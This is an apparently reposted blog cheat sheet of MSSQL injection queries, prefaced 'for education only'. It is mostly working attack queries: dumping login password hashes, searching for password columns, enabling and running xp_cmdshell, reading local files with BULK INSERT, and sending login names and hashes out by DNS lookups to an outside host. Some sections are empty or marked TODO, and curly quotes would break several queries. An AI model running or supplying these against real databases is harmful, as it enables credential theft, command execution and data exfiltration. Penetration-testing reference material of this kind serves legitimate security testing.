(for education only)
use with your own risk....^^
MSSQL
Version
|
SELECT @@version
|
Comments
|
SELECT 1 — comment
SELECT /*comment*/1
|
Current User
|
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM
master..sysprocesses WHERE spid = @@SPID
|
List Users
|
SELECT name FROM master..syslogins
|
List Password Hashes
|
SELECT name, password FROM
master..sysxlogins — priv, mssql 2000;
SELECT name,
master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql
2000. Need to convert to hex to return hashes in MSSQL error message / some
version of query analyzer.
SELECT name, password_hash FROM
master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ +
master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins —
priv, mssql 2005
|
Password Cracker
|
|
List Privileges
|
Impossible?
|
List DBA Accounts
|
TODO
SELECT
is_srvrolemember(’sysadmin’); — is your account a sysadmin? returns 1 for
true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ’systemadmin’
and other values from the documentation
SELECT is_srvrolemember(’sysadmin’,
’sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid
role/username.
|
Current Database
|
SELECT DB_NAME()
|
List Databases
|
SELECT name FROM
master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1,
2, …
|
List Columns
|
SELECT name FROM syscolumns WHERE
id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB
only
SELECT master..syscolumns.name,
TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name=’sometable’; — list colum names and types for
master..sometable
|
List Tables
|
SELECT name FROM
master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM
someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name,
TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
|
Find Tables From Column Name
|
– NB: This example works only for
the current database. If you wan’t to search another db, you need to specify
the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as
tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON
sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND
syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column
containing the word ‘password’
|
Select Nth Row
|
SELECT TOP 1 name FROM (SELECT TOP
9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets
9th row
|
Select Nth Char
|
SELECT substring(’abcd’, 3, 1) —
returns c
|
Bitwise AND
|
SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
|
ASCII Value -> Char
|
SELECT char(0×41) — returns A
|
Char -> ASCII Value
|
SELECT ascii(’A') – returns 65
|
Casting
|
SELECT CAST(’1′ as int);
SELECT CAST(1 as char)
|
String Concatenation
|
SELECT ‘A’ + ‘B’ – returns AB
|
If Statement
|
IF (1=1) SELECT 1 ELSE SELECT 2 —
returns 1
|
Case Statement
|
SELECT CASE WHEN 1=1 THEN 1 ELSE 2
END — returns 1
|
Avoiding Quotes
|
SELECT char(65)+char(66) — returns
AB
|
Time Delay
|
WAITFOR DELAY ‘0:0:5′ — pause for
5 seconds
|
Make DNS Requests
|
declare @host varchar(800); select
@host = name FROM master..syslogins; exec(’master..xp_getfiledetails ”\\’ +
@host + ‘\c$\boot.ini”’); — nonpriv, works on 2000
declare @host varchar(800); select
@host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) +
‘.2.pentestmonkey.net’ from sys.sql_logins; exec(’xp_fileexist ”\\’ + @host +
‘\c$\boot.ini”’); — priv, works on 2005
– NB: Concatenation is not allowed
in calls to these SPs, hence why we have to use @host. Messy but necessary.
|
Command Execution
|
EXEC xp_cmdshell ‘net user’; —
priv
On MSSQL 2005 you may need to
reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ’show advanced
options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’,
1; — priv
RECONFIGURE; — priv
|
Local File Access
|
CREATE TABLE mydata (line
varchar(8000));
BULK INSERT mydata FROM
‘c:\boot.ini’;
DROP TABLE mydata;
|
Hostname, IP Address
|
SELECT HOST_NAME()
|
Create Users
|
|
Drop Users
|
|
Make User DBA
|
|
Location of DB files
|
TODO
|
Default/System Databases
|
northwind
model
msdb
pubs
tempdb
|
No Response to "perintah cheat SQL (part 1)"
Posting Komentar